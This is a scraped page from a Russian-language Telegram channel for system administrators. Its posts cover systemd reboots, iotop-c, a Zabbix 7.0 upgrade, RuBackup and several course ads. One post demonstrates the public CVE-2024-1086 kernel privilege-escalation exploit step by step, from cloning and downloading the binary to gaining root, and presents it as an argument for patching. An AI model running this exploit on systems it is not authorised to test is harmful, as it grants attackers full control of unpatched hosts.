cookie

نحن نستخدم ملفات تعريف الارتباط لتحسين تجربة التصفح الخاصة بك. بالنقر على "قبول الكل"، أنت توافق على استخدام ملفات تعريف الارتباط.

avatar

ServerAdmin.ru

Авторская информация о системном администрировании. Информация о рекламе: @srv_admin_reklama_bot Автор: @zeroxzed Второй канал: @srv_admin_live Сайт: serveradmin.ru

إظهار المزيد
مشاركات الإعلانات
26 272
المشتركون
+2324 ساعات
+1607 أيام
+49130 أيام

جاري تحميل البيانات...

معدل نمو المشترك

جاري تحميل البيانات...

​​Раньше были разные варианты перезагрузки системы Linux. Как минимум shutdown -r и reboot. Сейчас всё это не имеет значения, так как реально всем управляет systemd. А если посмотреть на shutdown и reboot, то окажется, что это символьные ссылки на systemctl. # whereis reboot reboot: /usr/sbin/reboot # ls -la /usr/sbin/reboot /usr/sbin/reboot -> /bin/systemctl # whereis shutdown shutdown: /usr/sbin/shutdown # ls -la /usr/sbin/shutdown /usr/sbin/shutdown -> /bin/systemctl То есть не важно, как вы перезагрузите сервер. Всё равно команда будет отправлена в systemd. В некоторых инструкциях и статьях вижу, что сервер перезагружают так: # systemctl reboot Набирать systemctl не обязательно. Обычный reboot выполнит ту же самую команду. Возникает вопрос, а как systemctl понимает, какую команду надо выполнить? Символьные ссылки одинаковы в обоих случаях и ведут просто в /bin/systemctl. С помощью механизма запуска программ execve можно узнать имя исполняемой команды. Примерно так: $ bash -c 'echo $0' bash $0 покажет имя запущенной команды. В systemctl стоит проверка вызванной команды, поэтому она определяет, что реально вы запустили - reboot или shutdown. Вообще, в systemctl столько всего наворочено. Перезагрузить компьютер так же можно следующими командами: # systemctl start reboot.target # systemctl start ctrl-alt-del.target Эти команды делают то же самое, что и reboot. По крайней мере на первый взгляд. Остаётся только гадать, зачем там всё это. Ну либо где-то в манах или исходниках читать. Дам ещё небольшую подсказку в рамках этой темы. И shutdown, и reboot, и systemctl в итоге обращаются к бинарнику на диске. Если у вас какие-то проблемы с диском и не удаётся прочитать этот бинарник, то перезагрузка не состоится. Всё будет продолжать висеть. Если запущена консоль, то можно через неё сразу передать команду на перезагрузку напрямую ядру # echo b > /proc/sysrq-trigger Сервер тут же перезагрузится, как будто у него физически нажали reset. #linux
إظهار الكل...

👍 85👎 1
Photo unavailableShow in Telegram
🚩🚩🚩🚩🚩🚩🚩 Тема: Нужен ли swap в Linux? Мы разберем: - что такое swap; - нужен ли он сегодня; - как он работает, какие данные в него уходят; - за что на самом деле отвечает параметр swappiness; - структуру кеша в Linux. 🏆 Спикер Андрей Буранов — системный администратор в VK, входит в топ-3 лучших преподавателей образовательных порталов. 5️⃣6️⃣7️⃣ Не упустите возможность! Регистрируйтесь сейчас https://otus.pw/lfS2/ 🔑 Специальная цена на курс «Administrator Linux. Professional» для участников. Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576, www.otus.ru
إظهار الكل...
👎 22👍 5
​​В Linux есть простой и удобный инструмент для просмотра дисковой активности в режиме реального времени - iotop. У него формат вывода похож на традиционный top, только вся информация в выводе посвящена дисковой активности процессов. В последнее время стал замечать, что в основном везде используется iotop-c. Это тот же iotop, только переписанный на C. Новая реализация поддерживается и понемногу развивается, в то время, как оригинальный iotop не развивается очень давно. В каких-то дистрибутивах остались обе эти утилиты, а в каких-то iotop полностью заметили на iotop-c. Например, в Debian остались обе: # apt search iotop iotop/stable 0.6-42-ga14256a-0.1+b2 amd64 simple top-like I/O monitor iotop-c/stable,now 1.23-1+deb12u1 amd64 [installed] simple top-like I/O monitor (implemented in C) А в Fedora iotop полностью заменили на iotop-c, с сохранением старого названия. Так что если захотите воспользоваться iotop, чтобы отследить дисковую активность отдельных процессов, то ставьте на всякий случай сразу iotop-c. Программа простая и удобная. Запустили, отсортировали по нужному столбцу (стрелками влево или вправо) и смотрим активность. Обычно в первую очередь запись интересует. Напомню, что у меня есть небольшая заметка про комплексный анализ дисковой активности в Linux с помощью различных консольных утилит. #perfomance
إظهار الكل...

👍 71👎 1
​​На это неделе сообщество Linkmeup анонсировало переход в открытый доступ курса про сети в Linux. Этот курс был записан совместно со школой Слёрм и поначалу был платный. Теперь его перевели в условно бесплатный режим. За доступ к курсу всего-то придётся отдать немного своих персональных данных, что считаю приемлемым разменом. Описание курса живёт на любопытном домене seteviki.nuzhny.net, а для прохождения нужно будет зарегистрироваться в личном кабинете у Слёрм. Сам курс я не смотрел, но зная и Linkmeup, и Слёрм, заочно могу предположить, что курс хорошего уровня. Так что рекомендую, если вам актуальна эта тематика. А она 100% актуальна, если вы на этом канале, потому что сети - это база, которая нужна всем. А если вы сисадмин, то точно надо проходить, потому что там есть тема, которую должен освоить каждый уважающий себя специалист в этой области: 💥 Делаем офисный роутер из Linux Ну какой сисадмин без офисного роутера? Не Mikrotik же туда ставить или какую-то другую проприетарщину. #обучение
إظهار الكل...

👍 103👎 17
Попалось уже не новое видео How To Be A Linux User с 3-мя миллионами просмотров. Подумал, что что-то интересное. Включил, а там какая-то ерунда. Разбирают основные признаки линуксоидов. В начале идёт про бороды. Заезженный стереотип про линуксоидов и в целом системных администраторов, который уже давно неактуален (погладил бороду). Вторым признаком назвали использование старых Thinkpad. В качестве примера привели модель x201 (почти копия x220). Тут немного обидно стало. У меня дома 3 Thinkpad x220, и ещё рабочий T480. Оказывается, меня уже можно классифицировать по любви к старым Thinkpad, хоть на них и установлены винды. Дальше прошлись и по всему остальному - наклейки на ноуты, постоянное времяпрепровождение за компом, стремление всем объяснить, что лучше использовать Linux. На всякий случай уточню, что видео по задумке юмористическое, воспринимать всерьёз не надо. Последнее, кстати, регулярно наблюдаю тут в комментариях. Стоит где-то упомянуть, что у меня на рабочем ноуте Windows, обязательно найдутся люди, которые спросят почему не Linux, или вообще скажут, что я недоадмин, раз у меня винда - рабочая система. Почему-то пользователи macOS никогда такого не говорят. Без шуток, ни разу такого не слышал от них, хотя по статистике среди админов и девопсов пользователей Linux и macOS примерно поровну. Я это лично наблюдал и на очных курсах. Где-то 50% винда и по 25% на Linux и macOS приходится. Надо будет как-нибудь тут опрос замутить на эту тему. Как думаете, с чем это связано? Реально такая штука есть, чем объяснить, не знаю. Я сам не линуксоид. Линукс только на серверах. Рабочий комп и все компы в семье на винде. Объясняю обычно эту ситуацию просто. Если ты тракторист или комбайнёр, то это не значит, что тебе по своим делам тоже надо ездить на комбайне или тракторе, если удобнее на легковушке. Мне в ежедневных делах удобнее на винде. #юмор
إظهار الكل...
How To Be A Linux User

When you are new to a group, sometimes it's hard to fit in. New-to-Linux users often find that it is hard for them to fit in with longtime Linux users. So here are some tips on how you can start acting like a longtime Linux user...so you can fit in. MUSIC : ► Adrift by ELPHNT (from YouTube Audio Library) IMAGES: ►

https://en.wikipedia.org/wiki/Linux_user_group#/media/File:Installfest.jpg

- Linux User Group Wikipedia ►

https://conf.archlinux.org/

- Picture from Arch Conf WANT TO SUPPORT THE CHANNEL? 💰 Patreon:

https://www.patreon.com/distrotube

💳 Paypal:

https://www.youtube.com/redirect?event=channel_banner&redir_token=QUFFLUhqazNocEhiaGFBT1l1MnRHbnlIcHFKbXJWVnpQd3xBQ3Jtc0tsLVZJc19YeFlwZ2JqbXVOa3g0Skw4TVhTV2otNm1tM3A1bUNnamh3S2V6OGQtLTBnSjBxYTlvUXMxeEVIS3o4US10NENHMUQ3STk2a01FOFBhUnZjZFctMEhFUTg1TVctQmFfVUdxZXJ4TDl0azlYNA&q=https%3A%2F%2Fwww.paypal.com%2Fcgi-bin%2Fwebscr%3Fcmd%3D_donations%26business%3Dderek%2540distrotube%252ecom%26lc%3DUS%26item_name%3DDistroTube%26no_note%3D0%26currency_code%3DUSD%26bn%3DPP%252dDonationsBF%253abtn_donateCC_LG%252egif%253aNonHostedGuest

🛍️ Amazon:

https://amzn.to/2RotFFi

👕 Teespring:

https://teespring.com/stores/distrotube

DONATE CRYPTO: 💰 Bitcoin: 1Mp6ebz5bNcjNFW7XWHVht36SkiLoxPKoX 🐶 Dogecoin: D5fpRD1JRoBFPDXSBocRTp8W9uKzfwLFAu 📕 LBC: bMfA2c3zmcLxPCpyPcrykLvMhZ7A5mQuhJ DT ON THE WEB: 🕸️ Website: http://distrotube.com/ 📁 GitLab:

https://gitlab.com/dwt1

🗨️ Mastodon:

https://fosstodon.org/@distrotube

👫 Reddit:

https://www.reddit.com/r/DistroTube/

📽️ LBRY/Odysee:

https://odysee.com/@DistroTube:2

FREE AND OPEN SOURCE SOFTWARE THAT I USE: 🌐 Brave Browser -

https://brave.com/dis872

📽️ Open Broadcaster Software:

https://obsproject.com/

🎬 Kdenlive:

https://kdenlive.org

🎨 GIMP:

https://www.gimp.org/

💻 VirtualBox:

https://www.virtualbox.org/

🗒️ Doom Emacs:

https://github.com/hlissner/doom-emacs

Your support is very much appreciated. Thanks, guys!

👍 103👎 6
Photo unavailableShow in Telegram
Как хранить данные в Kubernetes? Приглашаем 11 июня в 20:00 мск на бесплатный вебинар «Хранение данных в Kubernetes: Volumes, Storages, Stateful-приложения» от Отус, где мы познакомимся с ключевыми концепциями, инструментами и практиками для работы с данными в контейнерной оркестрации. Вебинар является бесплатной частью полноценного онлайн-курса «Инфраструктурная платформа на основе Kubernetes». ➡️ Регистрация на вебинар На вебинаре вы: ✅ изучите методы работы с Volume и Storage в Kubernetes; ✅ проанализируете работу StatefulSet и его применение для управления состояниями приложений; ✅ узнаете, как использовать PV, PVC и SC для эффективного управления хранилищем данных. 🎙️ Спикер — Senior DevOps Engineer, сертифицированный администратор k8s (SKA) и Azure. Записывайтесь сейчас, а мы потом напомним. Участие бесплатно. Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576, www.otus.ru
إظهار الكل...
👎 9👍 8
​​Некоторое время назад была обнаружена любопытная уязвимость в ядре Linux, которая позволяет пользователю получить права root. Обратил на неё внимание и решил написать, потому что к ней существует очень простой эксплойт, который каждый может попробовать и оценить его эффективность. Это наглядно показывает, почему ОС лучше регулярно обновлять с перезагрузкой системы, чтобы загрузилось обновлённое ядро без уязвимости. Речь идёт про CVE-2024-1086. Недавно по этой уязвимости было обновление, и прокатилась волна новостей по теме, поэтому я и обратил на неё внимание, хотя сама уязвимость ещё в январе была обнаружена. Уязвимости подвержены все необновлённые ядра Linux версий с 5.14 по 6.6.14. Я для теста взял виртуалку с уязвимым ядром и получил права root. Есть репозиторий с готовый эксплойтом: ⇨ https://github.com/Notselwyn/CVE-2024-1086 Заходим в систему под юзером, смотрим ядро: # uname -a Linux ubuntu22-vm 6.2.0-1014-azure #14~22.04.1-Ubuntu SMP Wed Sep 13 16:15:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux Ядро уязвимо. Клонируем репозиторий и собираем бинарник: # git clone https://github.com/Notselwyn/CVE-2024-1086 # cd CVE-2024-1086 # make Для успешной сборки нужны некоторые пакеты: # apt install make gcc musl-tools Если по какой-то причине не получится собрать, можете взять готовый бинарник: # wget https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit # chmod +x exploit Запускаем эксплойт: # ./exploit Проверяем своего пользователя: # id uid=0(root) gid=0(root) groups=0(root) Система при работе эксплоита может зависнуть, так что срабатывает через раз. В репозитории несколько обращений по этой теме. Тем не менее, с большой долей вероятности эксплоит срабатывает. Я проверял несколько раз. И таких уязвимостей в ядре находят немало. Иногда смотрю какие-то разборы взломов. Там взломщики тем или иным образом попадают в систему, чаще всего через веб приложения или сайты. Смотрят версию ядра, проверяют уязвимости и готовые эксплоиты по публичным базам данных. Если под ядро есть эксплоит, то практически без проблем получают полные права. ❗️На всякий случай предупрежу, а то мало ли. Не проверяйте этот эксплойт на рабочих системах. Я чисто для демонстрации работы уязвимостей в ядре всё это показал, потому что подобное и раньше видел. Это типовая история. Проверять свои системы так не надо. #security
إظهار الكل...

👍 106
​​Расскажу для тех, кто не знает. Есть отечественная система для бэкапов RuBackup. Я про неё узнал ещё года 1,5 назад. Меня пригласили на какую-то конференцию, где про неё и другие отечественные решения для бэкапа рассказывали. Я послушал, мне в целом понравилось, но руки так и не дошли попробовать. Там внушительные возможности по функциональности. KVM и, в частности, Proxmox, тоже поддерживается. Есть бесплатная версия без существенных ограничений, но для бэкапов объёмом суммарно до 1ТБ уже после дедупликации. Понятно, что для прода это очень мало, но для личных нужд или теста вполне достаточно. Сразу скажу, что сам с этой системой не работал. Хотел поставить и попробовать, поэтому и заметку не писал так долго, но руки так и не дошли. И, наверное, не дойдут, поэтому решил написать. Это не реклама, у меня никто эту заметку не заказывал. Если кто-то пользовался, покупал, внедрял, поделитесь, пожалуйста, впечатлением. Пока писал заметку, полазил по сайту и увидел, что срок действия бесплатной лицензии - 1 год 🤦 Зачем так делать, я не понимаю. Раньше этого ограничения не было, иначе я бы не добавил к себе в закладки эту систему на попробовать. Я не пробую и не пишу про коммерческие решения, где нет хоть какой-нибудь бесплатной версии, которой можно полноценно пользоваться. Так бы можно было для себя оставить систему корпоративного уровня, но с ограничениями, которые в личном использовании не критичны. Так делают многие вендоры. Почему RuBackup и многие другие отечественные компании не хотят идти по этому пути для популяризации своих продуктов, я не понимаю. С ограничением в 1ТБ эту систему и так в коммерческую организацию не поставишь. Какой смысл ещё и по времени пользования ограничивать? Неужели это какую-то упущенную прибыль может принести? Кто-нибудь может это объяснить? #backup
إظهار الكل...

👍 60👎 30
​​Telegram-канал "MikroTik сэнсэй" Telegram-канал "MikroTik сэнсэй" ведет практикующий инженер и официальный тренер MikroTik Дмитрий Скоромнов. На канале Дмитрий рассказывает много практической информации, которой нет в официальной документации вендора. В ближайшее время планируется серия постов по следующим темам: ▪️Технологии Slow Path, Fast Path, Fast Track и Fast Forward. ▪️Неочевидная информация, которую можно получить с помощью блок-схемы MikroTik. ▪️Удаленная переустановка RouterOS с помощью Netinstall. ▪️Нюансы резервного копирования из-за которых после восстановления из рабочей резервной копии MikroTik может работать неправильно. ▪️Настройка VLAN'ов. ▪️Нюансы настройки Wi-Fi. ▪️Приоритизация трафика. Подписывайтесь на канал реального сертифицированного практика с уникальной информацией, без воды, репостов и домыслов.  ❗️Автор читает комментарии и участвует в обсуждениях. У вас есть возможность получить ответ на свой вопрос. Реклама, ИП Скоромнов Дмитрий Анатольевич, ИНН 331403723315, erid: 2SDnjdPtT3F
إظهار الكل...

👍 46👎 38
Заглянуть на канал
Вчера обновил один из своих серверов Zabbix до версии 7.0. Сразу же оформил всю информацию в статью. У меня сервер был установлен на систему Oracle Linux Server 8.10. Процедура прошла штатно и без заминок. Основные моменты, на которые нужно обратить внимание: ▪️ Версия 6.0 требовала php 7.2, эта требует 8.0. Не забудьте отдельно обновить и php. Напрямую к Zabbix Server это не относится, так что само не обновится. Мне пришлось подключить отдельный репозиторий Remi и поставить php 8.0 оттуда. В более свежих системах этого делать не потребуется, так как там 8.0+ в базовых репах. Особо заморачиваться не придётся. ▪️ Обновление самого сервера прошло штатно. Подключил репу новой версии и обновил пакеты. Можно воспользоваться официальной инструкцией, но она куцая. 💥Прямое обновление до 7.0 возможно практически в любой прошлой версии. Дословно с сайта Zabbix: Direct upgrade to Zabbix 7.0.x is possible from Zabbix 6.4.x, 6.2.x, 6.0.x, 5.4.x, 5.2.x, 5.0.x, 4.4.x, 4.2.x, 4.0.x, 3.4.x, 3.2.x, 3.0.x, 2.4.x, 2.2.x and 2.0.x. For upgrading from earlier versions consult Zabbix documentation for 2.0 and earlier. ▪️ Шаблоны мониторинга, оповещений и интеграций нужно обновлять отдельно, если хотите получить свежую версию. С самим сервером они автоматически не обновляются. В статье я написал, как можно провести эту процедуру. ▪️ Обновлять агенты до новой версии не обязательно. Всё будет нормально работать и со старыми версиями агентов. Обновление агентов опционально, но не обязательно. ▪️ Обновлять прокси тоже не обязательно, но крайне рекомендуется. Полная поддержка прокси сервером возможна только в рамках одной релизной ветки. Прокси прошлого релиза поддерживаются в ограниченном формате. #zabbix
إظهار الكل...
Обновление Zabbix 6.0 до 7.0 | serveradmin.ru

Подробное описание процесса обновления Zabbix Server с версии 6 до актуальной 7 на примере реального сервера.

👍 121👎 2